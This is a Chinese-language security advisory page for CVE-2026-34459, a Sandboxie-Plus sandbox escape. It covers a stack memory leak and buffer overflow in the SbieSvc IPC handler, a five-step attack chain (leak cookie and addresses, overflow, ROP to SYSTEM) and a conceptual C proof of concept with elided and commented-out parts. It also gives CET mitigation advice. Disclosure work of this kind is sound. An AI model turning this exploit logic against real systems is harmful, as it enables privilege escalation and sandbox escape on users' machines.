IPBUF安全漏洞报告
English
CVE-2026-34459 CVSS 8.8 高危

CVE-2026-34459 Sandboxie-Plus 沙箱逃逸漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-34459
漏洞类型
栈缓冲区溢出与信息泄露
CVSS评分
8.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sandboxie-Plus

相关标签

沙箱逃逸权限提升缓冲区溢出信息泄露Sandboxie-PlusWindows

漏洞概述

Sandboxie-Plus 1.17.2 及更早版本存在严重的沙箱逃逸漏洞。攻击者可利用 `SbieSvc` 代理服务的处理缺陷,通过发送特制 IPC 请求触发未初始化内存泄露与栈缓冲区溢出。利用泄露的地址信息绕过 ASLR 和 /GS 保护后,攻击者可构造 ROP 链,在沙箱内成功实现 SYSTEM 权限提升。

技术细节

该漏洞主要影响 Sandboxie-Plus 的核心隔离服务 `SbieSvc`。攻击者利用 `GetRawInputDeviceInfoSlave` 处理程序的逻辑缺陷进行沙箱逃逸。第一步是信息泄露,通过发送特定参数的 IPC 请求,导致服务端返回未初始化的栈内存数据,其中包含的关键地址信息可用于绕过地址空间布局随机化(ASLR)和栈溢出保护(/GS)。第二步是利用栈缓冲区溢出,由于未对输入长度进行严格校验,攻击者可控制 `memcpy` 的长度覆盖栈上的返回地址。结合泄露的信息,攻击者可精心构造面向返回编程(ROP)链,最终在沙箱进程上下文中执行任意代码并提升至 SYSTEM 权限。尽管硬件强制影子栈(Intel CET)能阻止 ROP 链的执行,但信息泄露风险依然存在。

攻击链分析

STEP 1
1. 信息侦测
攻击者定位沙箱内的 SbieSvc 代理服务及其 GetRawInputDeviceInfoSlave 处理接口。
STEP 2
2. 触发内存泄露
发送 cbSize 设置为 0 的 IPC 请求,导致服务返回最多 32KB 未初始化的栈内存。
STEP 3
3. 绕过安全保护
分析泄露的内存数据,提取返回地址(绕过 ASLR)和栈 Cookie(绕过 /GS 保护)。
STEP 4
4. 缓冲区溢出
发送带有恶意长度参数的 IPC 请求,利用 memcpy 未校验长度的漏洞触发栈缓冲区溢出。
STEP 5
5. 权限提升
利用泄露的 Cookie 伪造栈帧,并使用泄露的地址构造 ROP 链覆盖返回地址,执行任意代码获取 SYSTEM 权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for CVE-2026-34459 // This demonstrates the logic to trigger the leak and overflow. #include <windows.h> #include <stdio.h> // Simulated IPC interaction structure typedef struct _IPC_REQUEST { ULONG cbSize; PVOID buffer; } IPC_REQUEST, *PIPC_REQUEST; void SimulateExploit() { HANDLE hDevice = CreateFileA("\\\\.\\SbieSvcPort", ...); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to communicate with SbieSvc\n"); return; } BYTE leakedData[0x8000]; DWORD bytesReturned; // Step 1: Trigger Information Leak // Setting cbSize to 0 triggers the uninitialized memory return IPC_REQUEST leakReq; leakReq.cbSize = 0; leakReq.buffer = leakedData; // Send malicious request to leak stack cookies and addresses DeviceIoControl(hDevice, IOCTL_GET_RAW_INPUT_INFO, &leakReq, sizeof(leakReq), leakedData, sizeof(leakedData), &bytesReturned, NULL); printf("[+] Leaked %d bytes from kernel/service stack\n", bytesReturned); // Parse leakedData to find Stack Cookie and Return Address to bypass ASLR/GS // Step 2: Trigger Stack Buffer Overflow // Use the leaked info to craft a ROP chain BYTE exploitBuffer[0x8000]; memset(exploitBuffer, 0x41, sizeof(exploitBuffer)); // Padding // Overwrite Stack Cookie (if not using CET) // memcpy(exploitBuffer + offset, &leakedCookie, sizeof(void*)); // Overwrite Return Address with ROP gadget // memcpy(exploitBuffer + retOffset, &ropChainAddress, sizeof(void*)); IPC_REQUEST overflowReq; overflowReq.cbSize = 0xFFFFFFFF; // Attacker-controlled length causing overflow overflowReq.buffer = exploitBuffer; // Send overflow request DeviceIoControl(hDevice, IOCTL_GET_RAW_INPUT_INFO, &overflowReq, sizeof(overflowReq), NULL, 0, NULL, NULL); printf("[+] Exploit sent. Attempting privilege escalation...\n"); CloseHandle(hDevice); }

影响范围

Sandboxie-Plus <= 1.17.2

防御指南

临时缓解措施
如果无法立即升级,建议启用系统的硬件强制影子栈(Intel CET)功能,这可以有效阻止 ROP 链的执行,从而降低权限提升的风险,但无法完全修复信息泄露问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表